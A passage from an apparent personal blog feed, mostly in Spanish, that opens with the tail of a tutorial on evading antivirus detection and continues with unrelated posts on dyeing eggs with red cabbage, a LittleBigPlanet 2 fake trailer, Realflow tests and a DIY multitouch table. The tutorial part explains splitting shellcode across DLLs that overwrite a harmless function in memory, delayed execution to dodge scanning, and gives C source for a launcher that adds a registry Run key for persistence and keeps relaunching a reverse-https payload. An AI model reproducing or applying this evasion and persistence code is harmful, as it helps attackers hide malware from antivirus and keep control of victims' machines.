<span class="n">t</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="n">t</span> <span class="o">&amp;</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span> <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">|</span> <span class="mi">32768</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>En MY_OFFSET establecemos la posición de memoria en tiempo de ejecución donde debe empezar a sobreescribir. Decodificamos nuestra media shellcode anteriormente “revuelta”, y la escribimos donde estaba la función <em>inofensiva()</em>.</p> <p><em>VirtualProtectEx</em>, así como otras que permiten API hooking, es una de las funciones más vigiladas por un antivirus dado que abre las puertas a escribir en memoria en tiempo de ejecución, pero como hemos dicho antes, solo estamos escribiendo media shellcode, y es por esa razón por la que no saltará la alarma, y es a lo que me refería con que un antivirus escanea archivos independientes, y no como un conjunto.</p> <p>También habréis notado que utilizo sleeps para pausar la ejecución. Es solo una sospecha personal infundada, pero aunque retrasa la ejecución del payload creo que algunos antivirus (especialmente los que quieren vendernos que casi no comen recursos al ordenador) dejan de analizar si el proceso que monitorizan es <em>lento</em>, especialmente si es un bucle, para ahorrar recursos y no interferir en la experiencia del usuario. Y también para tratar de que el AV no “relacione” una función con la anterior, aunque supongo que eso ya es un raciocinio humano que no se aplica a una máquina ;)</p> <p>Para la segunda DLL, solo tenemos que cambiar la segunda mitad de la shellcode y el <em>offset</em> para continuar escribiendo en la posición donde terminó la primer mitad.</p> <p>Algo que podríamos hacer para enrrevesarlo aún más (aunque para no complicarlo demasiado no lo hemos hecho aquí), sería empezar escribiendo la segunda parte de la shellcode, y luego la primera (simplemente invirtiendo el orden en el que hacemos el LoadLibrary), con lo cual nos curamos en salud ante un posible análisis secuencial de lo que estamos escribiendo en memoria.</p> <p>Ya para terminar, vamos a añadir una capa más de separación, utilizando un ejecutable (<strong>spawner.exe</strong>) , el cual es el verdadero ejecutado por nuestro exploit java y que será el encargado de lanzar el payload (Nota: he hecho esto porque a día de escribir el código, el reverse https terminaba el proceso al cabo de unos minutos si no se establecía una conexión):</p> <div class="highlight"><pre><span class="n">include</span> <span class="o">&lt;</span><span class="n">windows</span><span class="p">.</span><span class="n">h</span><span class="o">&gt;</span> <span class="n">include</span> <span class="o">&lt;</span><span class="n">tlhelp32</span><span class="p">.</span><span class="n">h</span><span class="o">&gt;</span> <span class="n">include</span> <span class="o">&lt;</span><span class="n">tchar</span><span class="p">.</span><span class="n">h</span><span class="o">&gt;</span> <span class="kt">int</span> <span class="n">FIND_PROC_BY_NAME</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">);</span> <span class="kt">int</span> <span class="kr">__stdcall</span> <span class="nf">winMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hInst</span><span class="p">,</span> <span class="n">HINSTANCE</span><span class="p">,</span> <span class="n">LPSTR</span> <span class="n">lpCmdLine</span><span class="p">,</span> <span class="kt">int</span> <span class="n">nShowCmd</span><span class="p">)</span> <span class="p">{</span> <span class="n">LPwSTR</span> <span class="o">*</span><span class="n">szArgList</span><span class="p">;</span> <span class="n">TCHAR</span> <span class="o">*</span><span class="n">regu</span> <span class="o">=</span> <span class="n">_T</span><span class="p">(</span><span class="s">"-noregistry"</span><span class="p">);</span> <span class="kt">int</span> <span class="n">argCount</span><span class="p">;</span> <span class="n">szArgList</span> <span class="o">=</span> <span class="n">CommandLineToArgvW</span><span class="p">(</span><span class="n">GetCommandLine</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">argCount</span><span class="p">);</span> <span class="k">if</span> <span class="p">((</span><span class="n">argCount</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">wcscmp</span><span class="p">((</span><span class="n">TCHAR</span> <span class="o">*</span><span class="p">)</span><span class="n">szArgList</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">regu</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span> <span class="n">TCHAR</span> <span class="n">szPath</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span> <span class="n">GetModu1eFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szPath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span> <span class="n">HKEY</span> <span class="n">newValue</span><span class="p">;</span> <span class="n">RegOpenKey</span><span class="p">(</span><span class="n">HKEY_CURRENT_USER</span><span class="p">,</span> <span class="n">TEXT</span><span class="p">(</span><span class="s">"Software</span><span class="se">\\</span><span class="s">Microsoft</span><span class="se">\\</span><span class="s">windows</span><span class="se">\\</span><span class="s">CurrentVersion</span><span class="se">\\</span><span class="s">Run"</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newValue</span><span class="p">);</span> <span class="n">RegSetValueEx</span><span class="p">(</span><span class="n">newValue</span><span class="p">,</span> <span class="n">TEXT</span><span class="p">(</span><span class="s">"checklibs"</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">REG_SZ</span><span class="p">,</span> <span class="p">(</span><span class="n">LPBYTE</span><span class="p">)</span><span class="n">szPath</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">szPath</span><span class="p">));</span> <span class="n">RegCloseKey</span><span class="p">(</span><span class="n">newValue</span><span class="p">);</span> <span class="p">}</span> <span class="n">LocalFree</span><span class="p">(</span><span class="n">szArgList</span><span class="p">);</span> <span class="n">TCHAR</span> <span class="n">pro</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">]</span> <span class="o">=</span> <span class="n">_T</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">payload.exe"</span><span class="p">);</span> <span class="n">TCHAR</span> <span class="n">dire</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span> <span class="n">GetCurrentDirectory</span><span class="p">(</span><span class="n">MAX_PATH</span><span class="p">,</span> <span class="n">dire</span><span class="p">);</span> <span class="n">whi1e</span><span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">FIND_PROC_BY_NAME</span><span class="p">(</span><span class="s">"payload.exe"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">ShellExecute</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">_T</span><span class="p">(</span><span class="s">"open"</span><span class="p">),</span> <span class="n">_tcscat</span><span class="p">(</span><span class="n">dire</span><span class="p">,</span> <span class="n">pro</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">SW_NORMAL</span><span class="p">);</span> <span class="n">Sleep</span><span class="p">(</span><span class="mi">10000</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>Este pequeño programa también es inofensivo a los ojos del AV, y lo único que hace es monitorizar si existe el proceso de nuestro payload, y si no es así, lo relanza.</p> <p>Además, como hemos creado una entrada en el autorun del registro (lo cual podría resultar sospechoso para el AV), siempre es mejor que el "sospechoso" sea este nuestro spawner inofensivo, y no el que carga las librerías del payload.</p> <p>Resumiendo:</p> <ul class="simple"> <li>Hemos lanzado nuestro exploit en java, ya modificado, con lo cual el antivirus no lo ha detectado.</li> <li>El exploit ha volcado 4 archivos al directorio temporal de Windows. El AV los analiza en el momento en que se escriben a disco. Dos de ellos son ejecutables inofensivos, con lo cual no los detecta. Los otros dos son las librerías donde está la shellcode, pero son dos archivos independientes, el AV tampoco detectará una shellcode completa.</li> <li>Se ejecuta nuestro lanzador inofensivo, el AV no lo detecta en la ejecución. Se ejecuta el payload lanzado, y el AV analiza qué trata de hacer (una función inofensiva), también analiza las DLL al cargarlas (pero cada una realiza la sobreeescritura por separado, tampoco las detecta). Llegado ese punto la shellcode ya está reemplazando la función inofensiva(), pero el AV ya no puede detectarlo, ya que para ello tendría que volver a analizar la ejecución completa del programa en memoria y darse cuenta que el código fue sobreescrito, algo que requeriría muchos más recursos, y que en un programa más complejo sería demasiado intensivo.</li> </ul> <p>Hemos engañado al antivirus sin rompernos la cabeza con algoritmos imposibles, simplemente separando código malicioso en diversos trozos y lugares, y ejecutandolo de una forma poco convencional (sobreescribiendo una función ya existente). Podríamos haber utilizado otros trucos sencillos, como crear un programa con un overflow deliberado y explotarlo para lanzar la shellcode (algo que el antivirus jamás se "imaginaría"), en lugar de integrarla en el propio programa como una función más.</p> <p>En el hipotético caso de que esto fuese un malware real, ya conocido, y con las firmas añadidas a un antivirus, bastaría con partir en más trozos todavía el código para que el AV dejase de detectarlo, y se convertiría en el juego del gato y el ratón.</p> <p>¿Soluciones? Pues es bastante complicado. Para que los antivirus pudiesen conseguir una detección robusta no basada en firmas conocidas deberían ser capaces de monitorizar todos los procesos que ocurren en una máquina en todo momento, de relacionar esos procesos entre si de forma racional, tendrían que ser capaces de descubrir automáticamente vulnerabilidades en los programas (sin saber de antemano que las tienen); en definitiva, ser una inteligencia artificial que a día de hoy solo es ciencia ficción. Y necesitarían utilizar prácticamente la totalidad de los recursos de la máquina dejando una pequeñísima parte para el resto de procesos.</p> Tintanto unos huevos2011-07-24T10:00:00+02:00tag:antoniorodriguez.es,2011-07-24:tintanto-unos-huevos<div class="imgwrap drop-shadow curved curved-vt-2 align-left"><img alt="Huevos de colores" src="//antoniorodriguez.es/posts/tintanto-unos-huevos/huevosdecolores.jpg" style="width: 300px;"/></div> <p>El otro día me enseñó mi prima una web donde mostraban fotos de <a class="reference external" href="http://es.wikipedia.org/wiki/Bent%C5%8D">bento</a>, en los que utilizaban comida con colores poco habituales. Lo que más me llamó la atención fueron huevos teñidos de color azul, rojo, amarillo… y sin utilizar colorantes artificiales.</p> <p>Como soy muy fan de hacer experimentos desde que era pequeño (cuanto más extraños y llamativos, mejor) y me pilló en el período que me da por la cocina (me ocurre una vez al año o así), decidí ponerme a teñir unos huevos y molestar sorprender a mi familia en la cena.</p> <p>Para conseguir el tinte azul y rosado de las fotos, he utilizado col roja (col lombarda), que contiene <strong>antocianinas</strong> (del griego <em>ἀνθός</em> (anthos): ‘flor’ + <em>κυανός</em> (kyáneos): ‘azul’); pigmentos naturales presentes en muchos vegetales y flores, los cuales son responsables de sus colores rojos o azules. Más concretamente, la antocianina presente en la col roja es la <strong>cianidina</strong>, que se puede encontrar tambien en muchos frutos del bosque como las moras.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-right"><img alt="Cianidina" src="//antoniorodriguez.es/posts/tintanto-unos-huevos/cianidina.jpg"/></div> <p>Una peculiaridad de las antocianinas es que cuanto más ácido es el medio en que se encuentran, más rojas se vuelven. El tinte que consigo con la col lombarda es de un color violeta, prácticamente azul, y echandole un chorro de vinagre consigo que se vuelva rojo, así que con la misma sustancia tenemos dos tintes diferentes.</p> <p>Hacerlo es muy sencillo, simplemente tenemos que picar la col meterla en agua caliente (o cocerla, yo personalmente herví agua e hice infusión con ella durante unos 20-30 minutos). Despues colamos esa infusión y la repartimos en dos recipientes. A uno de ellos le eche un chorro de vinagre para volverlo rojo.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Col roja" src="//antoniorodriguez.es/posts/tintanto-unos-huevos/colroja.jpg" style="width: 600px;"/></div> <p>Despues sumergimos los huevos cocidos en ambos recipientes y los dejamos así alrededor de media hora o 45 minutos, removiendo cada 10 minutos.</p> <p>Tintar los huevos (o incluso arroz) de esta manera no varía el sabor de los mismos (quizá los que llevan vinagre pueden oler un poco, pero se pueden lavar sin que pierdan el color).</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Tinte preparado" src="//antoniorodriguez.es/posts/tintanto-unos-huevos/tinte.jpg"/></div> <p>Tambien se pueden teñir de otros muchos colores utilizando otras plantas o especias (por ejemplo para el amarillo se puede utilizar polvo de curri, o de lavanza utilizando pétalos de violeta). Si quereis sorprender a vuestros hijos (si los teneis) con algo divertido, ya sabeis un truco más.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Huevos de colores" src="//antoniorodriguez.es/posts/tintanto-unos-huevos/huevosdecolores2.jpg"/></div> Como se hizo Rali de Carretillas 6: El videojuego2011-05-09T00:00:00+02:00tag:antoniorodriguez.es,2011-05-09:como-se-hizo-rali-carretillas-videojuego<p>Hace unas semanas tomando un café compañero Sergio hablabamos sobre el juego de Playstation, Little Big Planet 2, y de la impresionante capacidad creativa que ofrece: una plataforma donde se puede crear literalmente cualquier juego o cualquier película de animación que se pueda imaginar.</p> <p>El 6 de Agosto de este año se celebra el sexto Rali de Carretillas en Vila de Cruces, una “carrera” popular en la que se emplean carretillas. Mi compañero estaba haciendo campaña con una serie de pequeños videos graciosos, a modo campaña viral, y viendo mi fascinación por el LBP2 me dijo “pues podías hacer un video para el Rali simulando un falso trailer de videojuego, así tenemos otro video chorra más“.</p> <p>La idea se me antojó interesante, puesto que ya tenía pensado realizar <a class="reference external" href="http://es.wikipedia.org/wiki/Machinima">machinima</a> utilizandolo, y fue la escusa perfecta para crear la primera. Lo que no sabía eran las estadísticas que iba a obtener este video; compartido 80 veces en Facebook, 5 en Twitter y otras tantas en Google Buzz, además de alguna que otra subscripción a mi canal de Youtube, convirtiendose a escala “local” en un video viral (probablemente por el hecho de que alguna gente todavía cree que se trata de un videojuego real y no de un falso trailer, vete tu a saber).</p> <p>Para desarrollar este video, a excepción de los subtítulos, he empleado únicamente el LBP2, incluidos los textos que aparecen en él, y monté los brutos con Premiere.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Rali carretillas" src="//antoniorodriguez.es/posts/como-se-hizo-rali-carretillas-6-videojuego/rali3.jpg" style="width: 800px;"/></div> <p>Capturar el video de la consola fue relativamente fácil, puesto que recientemente adquirí una capturadora de video con ese propósito, la Black Magic Intensity Shuttle, que aunque no me permite capturar directamente por HDMI (debido al cifrado HDCP que emplea la PS3, el cual podría saltarme invirtiendo más dinero del que estaba dispuesto a gastar en un HDCP stripper), sí pude capturar en alta definición a traves de Componente.</p> <p>Desde un principio tenía claro que quería hacer un trailer sobre un videojuego de carreras atípico, quería hacer algo “épico”, así que sin dudarlo decidí inspirarme en uno de los mejores (por no decir el mejor) trailer que he visto en un videojuego, Mass Effect 2 (juego del cual no voy a hablar aquí pero es una obra maestra a nivel cinematográfico).</p> <p>Sin extenderme demasiado, dicho videojuego es una ópera espacial en la que su protagonista, el Comandante Sheppard, debe reunir a un pequeño equipo con los mejores guerreros y especialistas, y embarcarse en una misión suicida para salvar a la humanidad. Así que ese fue el leitmotiv para nuestro trailer del Rali de Carretillas.</p> <p>Nuestro héroe, Checha, necesita reunir a los mejores Maestros de la Carretilla para vencer a los nativos de Vila de Cruces en un épico Rali de Carretillas, y se están quedando sin tiempo. La mayoría de los personajes en este trailer están inspirados en varios amigos de la localidad (aunque dejo a la imaginación quien es quien), y Checha es el único que muestra su cara real para destacar su papel de protagonista.</p> <p>Para animar los objetos y los personajes utilicé diversos “chips”, componentes electrónicos, como puertas AND, OR, Selectores o Timers que se encargaron de controlar como se desplazan horizontal y verticalmente, así como girar sobre si mismos, al pulsar una tecla definida en el mando de la consola.</p> <p>Para la animación de los labios utilizé el micrófono de la consola para grabar las voces de los personajes y asignarselas a los muñecos, sincronizando despues el video con el audio del trailer.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Rali carretillas" src="//antoniorodriguez.es/posts/como-se-hizo-rali-carretillas-6-videojuego/rali2.jpg" style="width: 800px;"/></div> <p>El juego tambien permite animar los muñecos como si se tratese de marionetas, de forma que tambien grabé sobre ellos ciertas posturas y gestos.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Rali carretillas" src="//antoniorodriguez.es/posts/como-se-hizo-rali-carretillas-6-videojuego/rali4.jpg" style="width: 400px;"/></div> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Rali carretillas" src="//antoniorodriguez.es/posts/como-se-hizo-rali-carretillas-6-videojuego/rali1.jpg" style="width: 400px;"/></div> <div class="line-block"> <div class="line"><br/></div> </div> <p>En cuanto a las cámaras, Little Big Planet 2 permite utilizarlas como si se tratasen de cámaras reales. Se pueden hacer panning, zoom, fundidos, variaciones de la profundidad de campo y perspectiva, e incluso encadenar unas cámaras con otras para cambios de plano.</p> <p>Una vez grabadas todas las escenas, simplemente tuve que montarlas en Premiere ajustandolas a la música, y apliqué filtros de color para darles un aspecto más cinematográfico.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Rali carretillas" src="//antoniorodriguez.es/posts/como-se-hizo-rali-carretillas-6-videojuego/rali5.jpg" style="width: 800px;"/></div> <p>En definitiva, lo que empezó como un simple entretenimiento para reirnos un rato, se convirtió sin buscarlo en una campaña viral de la que he aprendido bastante y sobretodo, con la que me he divertido. Esto es solo un ejemplo de que se puede utilizar prácticamente cualquier cosa para realizar obras creativas, en este caso, un “simple” videojuego.</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/w5bpiIZYxUs?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div>Experimentando con Realflow y video real2011-01-07T11:10:00+01:00tag:antoniorodriguez.es,2011-01-07:experimentando-con-realflow-y-video-real<p>Hace unos meses estuve experimentando con la integración de fluidos generados por ordenador sobre video real. La idea era llenar el pasillo de nuestra oficina con una tromba de agua.</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/NUw9GG9a5Vw?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div>Experimentation with Realflow and live action footage2011-01-07T11:10:00+01:00tag:antoniorodriguez.es,2011-01-07:en/experimentation-with-realflow-and-live-action-footage<p>Some months ago I was experimenting with the integration of CG fluids over live action footage recorded with a videocamera. The idea was to fill the hall of our offices with a water “tsunami”.</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/NUw9GG9a5Vw?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div>Primer video del prototipo multitouch2008-12-13T13:45:00+01:00tag:antoniorodriguez.es,2008-12-13:primer-video-prototipo-multitouch<p>Llevaba un tiempo sin dar señales de vida, pero aquí dejo el primer video del prototipo funcionando: Eso si, sin proyector todavía :(</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/algnOocy530?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div>Multitouch prototype first video2008-12-13T13:45:00+01:00tag:antoniorodriguez.es,2008-12-13:en/multitouch-prototype-first-video<p>A video I made of the working prototype: Still no projector :(</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/algnOocy530?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div>Multitouch interface: Primer test FTIR2008-09-15T13:43:00+02:00tag:antoniorodriguez.es,2008-09-15:multitouch-interface-primer-test-ftir<p>Aquí la primera foto del efecto FTIR. Todavía no le he puesto el filtro de luz visible a la cámara, pero como podeis apreciar funciona perfectamente.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="FTIR effect" src="//antoniorodriguez.es/posts/multitouch-interface-primer-test-ftir/ftirtest1_0.jpg" style="width: 500px;"/></div> Multitouch interface: First FTIR test2008-09-15T13:43:00+02:00tag:antoniorodriguez.es,2008-09-15:en/multitouch-interface-first-ftir-test<p>Here the first picture of my first FTIR test. The camera still lacks the light filter, but yet, it works.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="FTIR effect" src="//antoniorodriguez.es/posts/multitouch-interface-primer-test-ftir/ftirtest1_0.jpg" style="width: 500px;"/></div> Multitouch interface: Casi terminado2008-09-12T10:00:00+02:00tag:antoniorodriguez.es,2008-09-12:multitouch-interface-casi-terminado<p>Estas son las primeras imagenes de mi mesa, casi terminada. El circuíto de LEDs está conectado a la corriente con un transformador de 12 V, y funciona perfectamente.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-left"><img alt="Prototipo" src="//antoniorodriguez.es/posts/multitouch-interface-casi-terminado/proto02.jpg" style="width: 400px;"/></div> <p>He hecho unos cuantas pruebas rápidas para comprobar que genera blobs y, en efecto, cuando coloco mis dedos sobre el panel se generan, incluso sin hacer presión. Se ven un poco tenues, pero la prueba la he hecho con la cámara del móvil, lo cual fitra gran parte de la luz infraroja.</p> <p>Todavía no he podido probar con la PS Eye sin filtro, pero a juzgar por las imagenes que he tomado con ella la última vez creo que los capturará perfectamente.</p> <div class="line-block"> <div class="line"><br/></div> </div> <p>Ahora solo necesito obtener un proyector para hacer algunas pruebas reales, pero si no puedo conseguirlo pronto probablemente utilice un monitor estandar y un espejo.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Prototipo" src="//antoniorodriguez.es/posts/multitouch-interface-casi-terminado/proto01.jpg" style="width: 600px;"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Prototipo" src="//antoniorodriguez.es/posts/multitouch-interface-casi-terminado/proto03.jpg" style="width: 600px;"/></div> Multitouch interface: Almost done2008-09-12T10:00:00+02:00tag:antoniorodriguez.es,2008-09-12:en/multitouch-interface-almost-done<p>First images of my table, almost finished. The LED circuit is connected to the power with a 12 V transformer, and works like a charm.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-left"><img alt="Protoype" src="//antoniorodriguez.es/posts/multitouch-interface-casi-terminado/proto02.jpg" style="width: 400px;"/></div> <div class="line-block"> <div class="line"><br/></div> </div> <p>I was doing some quick tests to check if it generates blobs and, indeed, when I put my fingers on the panel they are generated, without any sort of pressure. They are a little faint,, but the tests where made with my phone camera, that filters a great part of the IR.</p> <p>I still couldn’t try with the PS Eye without filter, but judging by the images I took with it the last time I think it will catch blobs nicely.</p> <div class="line-block"> <div class="line"><br/></div> </div> <p>Now I only have to obtain a projector so I would do some real tests, but if I couldn’t obtain it soon I probably will use an standard monitor and a mirror.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Prototype" src="//antoniorodriguez.es/posts/multitouch-interface-casi-terminado/proto01.jpg" style="width: 600px;"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Prototype" src="//antoniorodriguez.es/posts/multitouch-interface-casi-terminado/proto03.jpg" style="width: 600px;"/></div> Playstation Eye: Filtro IR2008-09-12T00:00:00+02:00tag:antoniorodriguez.es,2008-09-12:playstation-eye-filtro-ir<p>Aprovechando mi reciente adquisición de una Playstation 3 (de la cual probablemente escribiré en un futuro próximo dado que tengo unas grandes expectativas en cuanto a su Power Cell), he comprado tambien su cámara, la PS Eye, ya que sus especificaciones son perfectas para el multitouch, y lo más importante, su precio es realmente asequible (teniendo en cuenta que una cámara de caracteristicas similares que tenga buen rendimiento para MT está en torno a los 300€ y no es fácil de conseguir).</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="PS3 Eye" src="//antoniorodriguez.es/posts/playstation-eye-filtro-ir/pseye.jpg"/></div> <p>Sony PS3 Eye:</p> <ul class="simple"> <li>4 canales de entrada audio: 16 bits/por canal, 48kHz, SNR 90db</li> <li>FOV: <strong>56º</strong> o <strong>75º</strong></li> <li>640×480 a <strong>60 fps</strong> o 320×240 a <strong>120 fps</strong></li> <li>Video sin compresión, u opcionalmente compresión JPEG</li> </ul> <p>60 fps es justo lo que necesitamos para un tracking de blobs suave, pero podemos llegar a esos 120 si realmente queremos suavidad (eso si, menor resolución y una máquina potente).</p> <p>El problema de esta cámara es hacerla funcionar en un PC. Ya estaba empezando a ponerme manos a la obra en escribir un driver para windows, cuando me encuentro que el gran AlexP en <a class="reference external" href="http://nuigroup.com/forums/viewthread/2921/">NUI Group</a> acaba de publicar el primer driver funcional para la PS Eye (y por consiguiente me he ahorrado el trabajo). Todavía le falta pulirlo un poco y escribir un wrapper para utilizarla con <a class="reference external" href="http://nuigroup.com/touchlib/">touchlib</a>, pero creo que pronto tendremos algo estable.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="PS3 Eye PCB" src="//antoniorodriguez.es/posts/playstation-eye-filtro-ir/pseyepcb.jpg"/></div> <p>Por lo de pronto, ya he retirado el filtro IR de la cámara y utilizaré unos negativos fotográficos velados, o el disco interno de un floppy como filtro de luz visible. De este modo la cámara solo captará la luz infrarroja (no la imagen), es decir, solo los blobs de luz infrarroja que reflejamos con los dedos sobre el acrílico, que luego serán analizados con touchlib (aunque probablemente escriba mis propias librerias basadas en <a class="reference external" href="http://sourceforge.net/projects/opencvlibrary/">OpenCV</a> para adaptarlo a mis necesidades).</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Filtro IR" src="//antoniorodriguez.es/posts/playstation-eye-filtro-ir/irfilter.jpg"/></div> <p>En cuanto a mi prototipo, ya tengo todo cableado, y en breve publicaré algunas fotos de su funcionamiento.</p> Playstation Eye: IR filter2008-09-12T00:00:00+02:00tag:antoniorodriguez.es,2008-09-12:en/playstation-eye-ir-filter<p>Taking advantage of my recent acquisition of a Playstation 3 (I should write about it in a near future since I have high expectations regarding its Power Cell), I bought also the PS Eye camera, since the specifications are perfect for multitouch, and most importantly, it is really affordable (considering that a camera with similar characteristics having good performance for MT is around 300€ and not easy to find).</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="PS3 Eye" src="//antoniorodriguez.es/posts/playstation-eye-filtro-ir/pseye.jpg"/></div> <p>Sony PS3 Eye:</p> <ul class="simple"> <li>4 input audio channels: 16 bits/per channel, 48kHz, SNR 90db</li> <li>FOV: <strong>56º</strong> o <strong>75º</strong></li> <li><strong>60 fps</strong> 640x480 or <strong>120 fps</strong> 320×240</li> <li>Uncompressed video, JPEG compression</li> </ul> <p>60 fps is just what we need for smooth blob tracking, but we can get up to those 120 if we want extra smoothness, at the cost of lower resolution and higher cpu requirements).</p> <p>The problem with this camera is to make it work on a PC. I was about to start writting a driver for Windows, but then I found that the great AlexP from <a class="reference external" href="http://nuigroup.com/forums/viewthread/2921/">NUI Group</a> just published the first functional driver for the PS Eye (and therefore I have saved the work). Still needs some tweaking and a wrapper for <a class="reference external" href="http://nuigroup.com/touchlib/">touchlib</a>, but soon we will have something stable.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="PS3 Eye PCB" src="//antoniorodriguez.es/posts/playstation-eye-filtro-ir/pseyepcb.jpg"/></div> <p>For the moment, I have already removed the IR filter from the camera, and will use a veiled photographic negative, or an internal floppy disk as visible light filter. Thus the camera only capture infrared light instead full image; ie, only blobs of infrared light reflected by fingers on acrylic, which will then be analyzed with Touchlib (though probably I will write my own libraries based on <a class="reference external" href="http://sourceforge.net/projects/opencvlibrary/">OpenCV</a> to fit y needs).</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Filtro IR" src="//antoniorodriguez.es/posts/playstation-eye-filtro-ir/irfilter.jpg"/></div> <p>As for my prototype, I already made the wiring, and will soon post some pictures of it.</p> Multitouch interface: El marco de LEDs2008-08-21T00:00:00+02:00tag:antoniorodriguez.es,2008-08-21:multitouch-interface-marco-leds<p>Hoy he estado preparando el marco de LEDs que iluminará el panel acrílico. Como ya había comentado antes, para el prototipo estoy utilizando dos perfiles de aluminio en forma de “L” de 90cm (el panel mide 76cm, pero los cogí de 90 para actuar como soporte sobre los caballetes) sobre los que colocaré 25 LEDs infrarrojos.</p> <p>Todavía no he hecho ningún test, pero ya me ha asaltado la primera duda. Los perfiles que he comprado son en aluminio natural, y probablemente debería haberlos cogido en aluminio pulido para que reflejen mejor los posibles escapes de luz hacia el panel. En todo caso, esto es solo un prototipo de prueba, en la versión final utilizaré ya unos de aluminio pulido y en forma de “U” para cubrir los LED tanto por arriba como por abajo.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Marcas para taladrar" src="//antoniorodriguez.es/posts/multitouch-interface-marco-leds/ledmarks.jpg" style="width: 600px;"/></div> <p>La separación entre cada LED es aproximadamente de 3cm y los montaré de forma que los de un borde cubran los puntos no iluminados del otro borde del panel. Para decirlo de un modo más entendible, donde hay un hueco entre dos LED, el extremo contrario tiene uno:</p> <p>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p> <p>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p> <p>He impreso unas plantillas para pegarlas sobre los aluminios y de ese modo tener perfectamente marcados los puntos donde debo taladrar.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-left"><img alt="Regla para comparar el grosor del LED" src="//antoniorodriguez.es/posts/multitouch-interface-marco-leds/ledregla.jpg" style="width: 420px;"/></div> <p>El grosor de los LED es de 5mm, con lo cual utilizaré, obviamente, una broca para metal de 5mm. La idea es colocar los LED desde la parte posterior del aluminio quedando perfectamente ajustados al mismo, exactamente como en la siguiente foto, en la que he utilizado una regla que casualmente trae un agujero de 5mm.</p> <p>Una vez 